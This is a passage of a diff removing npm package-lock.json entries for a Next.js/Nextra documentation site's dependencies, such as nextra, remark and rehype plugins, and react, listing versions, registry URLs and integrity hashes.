"@opentelemetry/api": { - "optional": true - }, - "sass": { - "optional": true - } - } - }, - "node_modules/next-mdx-remote": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/next-mdx-remote/-/next-mdx-remote-4.4.1.tgz", - "integrity": "sha512-1BvyXaIou6xy3XoNF4yaMZUCb6vD2GTAa5ciOa6WoO+gAUTYsb1K4rI/HSC2ogAWLrb/7VSV52skz07vOzmqIQ==", - "dependencies": { - "@mdx-js/mdx": "^2.2.1", - "@mdx-js/react": "^2.2.1", - "vfile": "^5.3.0", - "vfile-matter": "^3.0.1" - }, - "engines": { - "node": ">=14", - "npm": ">=7" - }, - "peerDependencies": { - "react": ">=16.x <=18.x", - "react-dom": ">=16.x <=18.x" - } - }, - "node_modules/next-seo": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/next-seo/-/next-seo-6.5.0.tgz", - "integrity": "sha512-MfzUeWTN/x/rsKp/1n0213eojO97lIl0unxqbeCY+6pAucViHDA8GSLRRcXpgjsSmBxfCFdfpu7LXbt4ANQoNQ==", - "peerDependencies": { - "next": "^8.1.1-canary.54 || >=9.0.0", - "react": ">=16.0.0", - "react-dom": ">=16.0.0" - } - }, - "node_modules/next-themes": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/next-themes/-/next-themes-0.2.1.tgz", - "integrity": "sha512-B+AKNfYNIzh0vqQQKqQItTS8evEouKD7H5Hj3kmuPERwddR2TxvDSFZuTj6T7Jfn1oyeUyJMydPl1Bkxkh0W7A==", - "peerDependencies": { - "next": "*", - "react": "*", - "react-dom": "*" - } - }, - "node_modules/nextra": { - "version": "2.13.4", - "resolved": "https://registry.npmjs.org/nextra/-/nextra-2.13.4.tgz", - "integrity": "sha512-7of2rSBxuUa3+lbMmZwG9cqgftcoNOVQLTT6Rxf3EhBR9t1EI7b43dted8YoqSNaigdE3j1CoyNkX8N/ZzlEpw==", - "dependencies": { - "@headlessui/react": "^1.7.17", - "@mdx-js/mdx": "^2.3.0", - "@mdx-js/react": "^2.3.0", - "@napi-rs/simple-git": "^0.1.9", - "@theguild/remark-mermaid": "^0.0.5", - "@theguild/remark-npm2yarn": "^0.2.0", - "clsx": "^2.0.0", - "github-slugger": "^2.0.0", - "graceful-fs": "^4.2.11", - "gray-matter": "^4.0.3", - "katex": "^0.16.9", - "lodash.get": "^4.4.2", - "next-mdx-remote": "^4.2.1", - "p-limit": "^3.1.0", - "rehype-katex": "^7.0.0", - "rehype-pretty-code": "0.9.11", - "rehype-raw": "^7.0.0", - "remark-gfm": "^3.0.1", - "remark-math": "^5.1.1", - "remark-reading-time": "^2.0.1", - "shiki": "^0.14.3", - "slash": "^3.0.0", - "title": "^3.5.3", - "unist-util-remove": "^4.0.0", - "unist-util-visit": "^5.0.0", - "zod": "^3.22.3" - }, - "engines": { - "node": ">=16" - }, - "peerDependencies": { - "next": ">=9.5.3", - "react": ">=16.13.1", - "react-dom": ">=16.13.1" - } - }, - "node_modules/nextra-theme-docs": { - "version": "2.13.4", - "resolved": "https://registry.npmjs.org/nextra-theme-docs/-/nextra-theme-docs-2.13.4.tgz", - "integrity": "sha512-2XOoMfwBCTYBt8ds4ZHftt9Wyf2XsykiNo02eir/XEYB+sGeUoE77kzqfidjEOKCSzOHYbK9BDMcg2+B/2vYRw==", - "dependencies": { - "@headlessui/react": "^1.7.17", - "@popperjs/core": "^2.11.8", - "clsx": "^2.0.0", - "escape-string-regexp": "^5.0.0", - "flexsearch": "^0.7.31", - "focus-visible": "^5.2.0", - "git-url-parse": "^13.1.0", - "intersection-observer": "^0.12.2", - "match-sorter": "^6.3.1", - "next-seo": "^6.0.0", - "next-themes": "^0.2.1", - "scroll-into-view-if-needed": "^3.1.0", - "zod": "^3.22.3" - }, - "peerDependencies": { - "next": ">=9.5.3", - "nextra": "2.13.4", - "react": ">=16.13.1", - "react-dom": ">=16.13.1" - } - }, - "node_modules/non-layered-tidy-tree-layout": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/non-layered-tidy-tree-layout/-/non-layered-tidy-tree-layout-2.0.2.tgz", - "integrity": "sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==" - }, - "node_modules/npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==", - "dependencies": { - "path-key": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm-to-yarn": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/npm-to-yarn/-/npm-to-yarn-2.2.1.tgz", - "integrity": "sha512-O/j/ROyX0KGLG7O6Ieut/seQ0oiTpHF2tXAcFbpdTLQFiaNtkyTXXocM1fwpaa60dg1qpWj0nHlbNhx6qwuENQ==", - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/nebrelbug/npm-to-yarn?sponsor=1" - } - }, - "node_modules/p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", - "engines": { - "node": ">=4" - } - }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dependencies": { - "yocto-queue": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parse-entities": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.1.tgz", - "integrity": "sha512-SWzvYcSJh4d/SGLIOQfZ/CoNv6BTlI6YEQ7Nj82oDVnRpwe/Z/F1EMx42x3JAOwGBlCjeCH0BRJQbQ/opHL17w==", - "dependencies": { - "@types/unist": "^2.0.0", - "character-entities": "^2.0.0", - "character-entities-legacy": "^3.0.0", - "character-reference-invalid": "^2.0.0", - "decode-named-character-reference": "^1.0.0", - "is-alphanumerical": "^2.0.0", - "is-decimal": "^2.0.0", - "is-hexadecimal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/parse-numeric-range": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/parse-numeric-range/-/parse-numeric-range-1.3.0.tgz", - "integrity": "sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ==" - }, - "node_modules/parse-path": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/parse-path/-/parse-path-7.0.0.tgz", - "integrity": "sha512-Euf9GG8WT9CdqwuWJGdf3RkUcTBArppHABkO7Lm8IzRQp0e2r/kkFnmhu4TSK30Wcu5rVAZLmfPKSBBi9tWFog==", - "dependencies": { - "protocols": "^2.0.0" - } - }, - "node_modules/parse-url": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/parse-url/-/parse-url-8.1.0.tgz", - "integrity": "sha512-xDvOoLU5XRrcOZvnI6b8zA6n9O9ejNk/GExuz1yBuWUGn9KA97GI6HTs6u02wKara1CeVmZhH+0TZFdWScR89w==", - "dependencies": { - "parse-path": "^7.0.0" - } - }, - "node_modules/parse5": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", - "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", - "dependencies": { - "entities": "^4.4.0" - }, - "funding": { - "url": "https://github.com/inikulin/parse5?sponsor=1" - } - }, - "node_modules/path-key": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", - "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==", - "engines": { - "node": ">=4" - } - }, - "node_modules/periscopic": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/periscopic/-/periscopic-3.1.0.tgz", - "integrity": "sha512-vKiQ8RRtkl9P+r/+oefh25C3fhybptkHKCZSPlcXiJux2tJF55GnEj3BVn4A5gKfq9NWWXXrxkHBwVPUfH0opw==", - "dependencies": { - "@types/estree": "^1.0.0", - "estree-walker": "^3.0.0", - "is-reference": "^3.0.0" - } - }, - "node_modules/picocolors": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", - "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" - }, - "node_modules/postcss": { - "version": "8.4.31", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.31.tgz", - "integrity": "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "dependencies": { - "nanoid": "^3.3.6", - "picocolors": "^1.0.0", - "source-map-js": "^1.0.2" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/property-information": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/property-information/-/property-information-6.4.1.tgz", - "integrity": "sha512-OHYtXfu5aI2sS2LWFSN5rgJjrQ4pCy8i1jubJLe2QvMF8JJ++HXTUIVWFLfXJoaOfvYYjk2SN8J2wFUWIGXT4w==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/protocols": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/protocols/-/protocols-2.0.1.tgz", - "integrity": "sha512-/XJ368cyBJ7fzLMwLKv1e4vLxOju2MNAIokcr7meSaNcVbWz/CPcW22cP04mwxOErdA5mwjA8Q6w/cdAQxVn7Q==" - }, - "node_modules/pseudomap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==" - }, - "node_modules/react": { - "version": "18.2.0", - "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "dependencies": { - "loose-envify": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-dom": { - "version": "18.2.0", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz", - "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", - "dependencies": { - "loose-envify": "^1.1.0", - "scheduler": "^0.23.0" - }, - "peerDependencies": { - "react": "^18.2.0" - } - }, - "node_modules/reading-time": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/reading-time/-/reading-time-1.5.0.tgz", - "integrity": "sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg==" - }, - "node_modules/regenerator-runtime": { - "version": "0.14.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", - "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==" - }, - "node_modules/rehype-katex": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/rehype-katex/-/rehype-katex-7.0.0.tgz", - "integrity": "sha512-h8FPkGE00r2XKU+/acgqwWUlyzve1IiOKwsEkg4pDL3k48PiE0Pt+/uLtVHDVkN1yA4iurZN6UES8ivHVEQV6Q==", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/katex": "^0.16.0", - "hast-util-from-html-isomorphic": "^2.0.0", - "hast-util-to-text": "^4.0.0", - "katex": "^0.16.0", - "unist-util-visit-parents": "^6.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/rehype-katex/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/rehype-katex/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/rehype-katex/node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/rehype-katex/node_modules/vfile": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", - "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/rehype-pretty-code": { - "version": "0.9.11", - "resolved": "https://registry.npmjs.org/rehype-pretty-code/-/rehype-pretty-code-0.9.11.tgz", - "integrity": "sha512-Eq90eCYXQJISktfRZ8PPtwc5SUyH6fJcxS8XOMnHPUQZBtC6RYo67gGlley9X2nR8vlniPj0/7oCDEYHKQa/oA==", - "dependencies": { - "@types/hast": "^2.0.0", - "hash-obj": "^4.0.0", - "parse-numeric-range": "^1.3.0" - }, - "engines": { - "node": ">=16" - }, - "peerDependencies": { - "shiki": "*" - } - }, - "node_modules/rehype-raw": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-7.0.0.tgz", - "integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==", - "dependencies": { - "@types/hast": "^3.0.0", - "hast-util-raw": "^9.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/rehype-raw/node_modules/@types/hast": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", - "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/rehype-raw/node_modules/@types/unist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", - "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" - }, - "node_modules/rehype-raw/node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/rehype-raw/node_modules/vfile": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", - "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-gfm": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-3.0.1.tgz", - "integrity": "sha512-lEFDoi2PICJyNrACFOfDD3JlLkuSbOa5Wd8EPt06HUdptv8Gn0bxYTdbU/XXQ3swAPkEaGxxPN9cbnMHvVu1Ig==", - "dependencies": { - "@types/mdast": "^3.0.0", - "mdast-util-gfm": "^2.0.0", - "micromark-extension-gfm": "^2.0.0", - "unified": "^10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-math": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/remark-math/-/remark-math-5.1.1.tgz", - "integrity": "sha512-cE5T2R/xLVtfFI4cCePtiRn+e6jKMtFDR3P8V3qpv8wpKjwvHoBA4eJzvX+nVrnlNy0911bdGmuspCSwetfYHw==", - "dependencies": { - "@types/mdast": "^3.0.0", - "mdast-util-math": "^2.0.0", - "micromark-extension-math": "^2.0.0", - "unified": "^10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-mdx": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-2.3.0.tgz", - "integrity": "sha512-g53hMkpM0I98MU266IzDFMrTD980gNF3BJnkyFcmN+dD873mQeD5rdMO3Y2X+x8umQfbSE0PcoEDl7ledSA+2g==", - "dependencies": { - "mdast-util-mdx": "^2.0.0", - "micromark-extension-mdxjs": "^1.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-parse": { - "version": "10.0.2", - "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-10.0.2.tgz", - "integrity": "sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==", - "dependencies": { - "@types/mdast": "^3.0.0", - "mdast-util-from-markdown": "^1.0.0", - "unified": "^10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-reading-time": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/remark-reading-time/-/remark-reading-time-2.0.1.tgz", - "integrity": "sha512-fy4BKy9SRhtYbEHvp6AItbRTnrhiDGbqLQTSYVbQPGuRCncU1ubSsh9p/W5QZSxtYcUXv8KGL0xBgPLyNJA1xw==", - "dependencies": { - "estree-util-is-identifier-name": "^2.0.0", - "estree-util-value-to-estree": "^1.3.0", - "reading-time": "^1.3.0", - "unist-util-visit": "^3.1.0" - } - }, - "node_modules/remark-reading-time/node_modules/unist-util-visit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-3.1.0.tgz", - "integrity": "sha512-Szoh+R/Ll68QWAyQyZZpQzZQm2UPbxibDvaY8Xc9SUtYgPsDzx5AWSk++UUt2hJuow8mvwR+rG+LQLw+KsuAKA==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0", - "unist-util-visit-parents": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-reading-time/node_modules/unist-util-visit-parents": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-4.1.1.tgz", - "integrity": "sha512-1xAFJXAKpnnJl8G7K5KgU7FY55y3GcLIXqkzUj5QF/QVP7biUm0K0O2oqVkYsdjzJKifYeWn9+o6piAK2hGSHw==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-rehype": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-10.1.0.tgz", - "integrity": "sha512-EFmR5zppdBp0WQeDVZ/b66CWJipB2q2VLNFMabzDSGR66Z2fQii83G5gTBbgGEnEEA0QRussvrFHxk1HWGJskw==", - "dependencies": { - "@types/hast": "^2.0.0", - "@types/mdast": "^3.0.0", - "mdast-util-to-hast": "^12.1.0", - "unified": "^10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-rehype/node_modules/mdast-util-to-hast": { - "version": "12.3.0", - "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-12.3.0.tgz", - "integrity": "sha512-pits93r8PhnIoU4Vy9bjW39M2jJ6/tdHyja9rrot9uujkN7UTU9SDnE6WNJz/IGyQk3XHX6yNNtrBH6cQzm8Hw==", - "dependencies": { - "@types/hast": "^2.0.0", - "@types/mdast": "^3.0.0", - "mdast-util-definitions": "^5.0.0", - "micromark-util-sanitize-uri": "^1.1.0", - "trim-lines": "^3.0.0", - "unist-util-generated": "^2.0.0", - "unist-util-position": "^4.0.0", - "unist-util-visit": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-rehype/node_modules/unist-util-visit": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", - "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0", - "unist-util-visit-parents": "^5.1.1" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-rehype/node_modules/unist-util-visit-parents": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", - "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remove-accents": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/remove-accents/-/remove-accents-0.5.0.tgz", - "integrity": "sha512-8g3/Otx1eJaVD12e31UbJj1YzdtVvzH85HV7t+9MJYk/u3XmkOUJ5Ys9wQrf9PCPK8+xn4ymzqYCiZl6QWKn+A==" - }, - "node_modules/robust-predicates": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.2.tgz", - "integrity": "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==" - }, - "node_modules/rw": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", - "integrity": "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==" - }, - "node_modules/sade": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/sade/-/sade-1.8.1.tgz", - "integrity": "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==", - "dependencies": { - "mri": "^1.1.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" - }, - "node_modules/scheduler": { - "version": "0.23.0", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", - "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", - "dependencies": { - "loose-envify": "^1.1.0" - } - }, - "node_modules/scroll-into-view-if-needed": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/scroll-into-view-if-needed/-/scroll-into-view-if-needed-3.1.0.tgz", - "integrity": "sha512-49oNpRjWRvnU8NyGVmUaYG4jtTkNonFZI86MmGRDqBphEK2EXT9gdEUoQPZhuBM8yWHxCWbobltqYO5M4XrUvQ==", - "dependencies": { - "compute-scroll-into-view": "^3.0.2" - } - }, - "node_modules/section-matter": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/section-matter/-/section-matter-1.0.0.tgz", - "integrity": "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==", - "dependencies": { - "extend-shallow": "^2.0.1", - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/shebang-command": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", - "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==", - "dependencies": { - "shebang-regex": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/shebang-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", - "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/shiki": { - "version": "0.14.7", - "resolved": "https://registry.npmjs.org/shiki/-/shiki-0.14.7.tgz", - "integrity": "sha512-dNPAPrxSc87ua2sKJ3H5dQ/6ZaY8RNnaAqK+t0eG7p0Soi2ydiqbGOTaZCqaYvA/uZYfS1LJnemt3Q+mSfcPCg==", - "dependencies": { - "ansi-sequence-parser": "^1.1.0", - "jsonc-parser": "^3.2.0", - "vscode-oniguruma": "^1.7.0", - "vscode-textmate": "^8.0.0" - } - }, - "node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" - }, - "node_modules/slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", - "engines": { - "node": ">=8" - } - }, - "node_modules/sort-keys": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-5.0.0.tgz", - "integrity": "sha512-Pdz01AvCAottHTPQGzndktFNdbRA75BgOfeT1hH+AMnJFv8lynkPi42rfeEhpx1saTEI3YNMWxfqu0sFD1G8pw==", - "dependencies": { - "is-plain-obj": "^4.0.0" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/sort-keys/node_modules/is-plain-obj": { - "version": "4.1.0", - "resolved": 